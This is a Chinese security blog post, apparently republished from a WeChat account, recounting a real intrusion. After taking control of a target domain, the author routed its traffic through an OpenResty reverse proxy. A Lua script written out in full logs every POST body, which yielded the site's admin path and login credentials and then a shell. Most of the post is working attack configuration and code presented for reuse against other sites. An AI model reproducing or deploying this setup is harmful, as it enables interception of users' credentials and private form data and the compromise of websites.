实战Nginx+lua 实现请求劫持

admin 2022年1月18日10:45:49评论1,070 views字数 3149阅读10分29秒阅读模式

实战中遇到的其中一个小案例,比较简单,当时拿到了目标域名权限,目的是拿到shell,因为审计过代码,发现后台有上传,但没找到后台地址,后利用此方法拿到了后台地址,账号密码,最后在后台拿到了shell


Nginx+lua 实现请求劫持

环境以及条件:

centos7.2+

openresty

获取域名控制权

为什么要用openresty,而不是直接安装nginx+lua,因为openresty自带nginx和lua,所以只需要一键安装即可

openresty的解释:

OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。用于方便地搭建能够处理超高并发、扩展性极高的动态 Web 应用、Web 服务和动态网关。
官网链接:http://openresty.org/cn/

访问流程:

正常流程:

客户端通过域名访问到服务器

实战Nginx+lua 实现请求劫持

不正常的流程(中间人,劫持)

由于我们已经拥有了域名的控制权,所以首先将域名解析到我们的代理服务器,再通过代理服务器去访问server,由于流量会经过代理服务器,所以可以用lua脚本在代理服务器上获取中间经过的流量

实战Nginx+lua 实现请求劫持

修改hosts文件

由于我们要劫持的域名www.abc.com对应的ip是12.12.12.12 为了能让我们的代理服务器成功访问到www.abc.com里面的信息,所以需要修改hosts文件

# 打开hosts文件
sudo vim /etc/hosts
# 在最后一行写入
12.12.12.12 www.abc.com

安装及配置openresty

参见:http://openresty.org/cn/linux-packages.html#centos
安装成功以后
cd/usr/local/openresty下可以看到有下面几个目录

[root@vultr ~]# cd /usr/local/openresty
[root@vultr openresty]# ls
bin COPYRIGHT luajit lualib nginx openssl pcre site zlib
[root@vultr openresty]#

主要的两个目录:nginx 和 lualib 目录

查看nginx是否安装成功:
  • 启动nginx

# 载入nginx配置文件
/usr/local/openresty/nginx/sbin -c /usr/local/openresty/nginx/conf/nginx.conf
# 检查nginx配置文件是否正确
/usr/local/openresty/nginx/sbin -t
# 启动nginx
/usr/local/openresty/nginx/sbin -s reload

以上完成以后直接输入当前域名或ip地址访问既可以查看到
welcome to openresty之类的提示信息

lua 脚本配置

首先在lualib下面新建一个配置文件并写入内容
vim /usr/local/openresty/lualib/ngx/lanjie.lua
写入:

-- 写脚本
function writefile(logfile,msg)
local fd = io.open(logfile,"ab")
if fd == nil then return end
fd:write(msg)
fd:flush()
fd:close()
end

--获取访问信息
local url=ngx.var.request_uri
local method=ngx.req.get_method()
if method == "POST" then
ngx.req.read_body()
local data33 = ngx.req.get_body_data()
writefile("/home/www/1111333.txt", data33.. "rn")
end

注意里面有一个/home/www/1111333.txt 这个是用来存放post请求值文件,可以任意修改,但是这个文件一定得存在,并且权限最好为777权限

nginx 配置文件

cd 到/usr/local/openresty/nginx/conf 目录
将原本的nginx.conf 备份一下

cp nginx.conf nginx.conf.bak

接着vim nginx.conf
将以下内容写入nginx.conf

worker_processes  1;
events {
worker_connections 1024;
}
http {
access_by_lua_file /usr/local/openresty/lualib/ngx/lanjie.lua;
server {
listen 80;
server_name localhost;
index index.php index.html index.htm default.php default.htm default.html;
error_page 404 /404.html;
error_page 502 /502.html;
location / {
proxy_pass http://www.abc.com;
proxy_set_header Host www.abc.com;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;

proxy_set_header refer "http://www.abc.com/$request_uri";
add_header X-Cache $upstream_cache_status;

}

location ~ .*.(php|jsp|cgi|asp|aspx|flv|swf|xml)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_pass http://www.abc.com;
}

location ~ .*.(html|htm|png|gif|jpeg|jpg|bmp|js|css)?$ {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header REMOTE-HOST $remote_addr;
proxy_pass http://www.abc.com;
expires 24h;
}

}

}

注意,请将nginx配置文件里面的域名修改为你劫持的域名

最后

日志查看
/usr/local/openresty/nginx/logs 目录里面有访问日志以及错误日志

/home/www/1111333.txt 里面有网站的post包数据,这里截图没截取完整(后台地址可以从nginx的日志里面看到)

实战Nginx+lua 实现请求劫持


可以举一反三,实际上此方法可以用来操作很多东西,依情况而定

参考链接:
https://www.t00ls.net/viewthread.php?tid=48550
https://www.leavesongs.com/SOFT/play-with-openresty-lua-web.html

本文始发于微信公众号(台下言书):实战Nginx+lua 实现请求劫持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月18日10:45:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战Nginx+lua 实现请求劫持https://cn-sec.com/archives/490813.html

发表评论

匿名网友 填写信息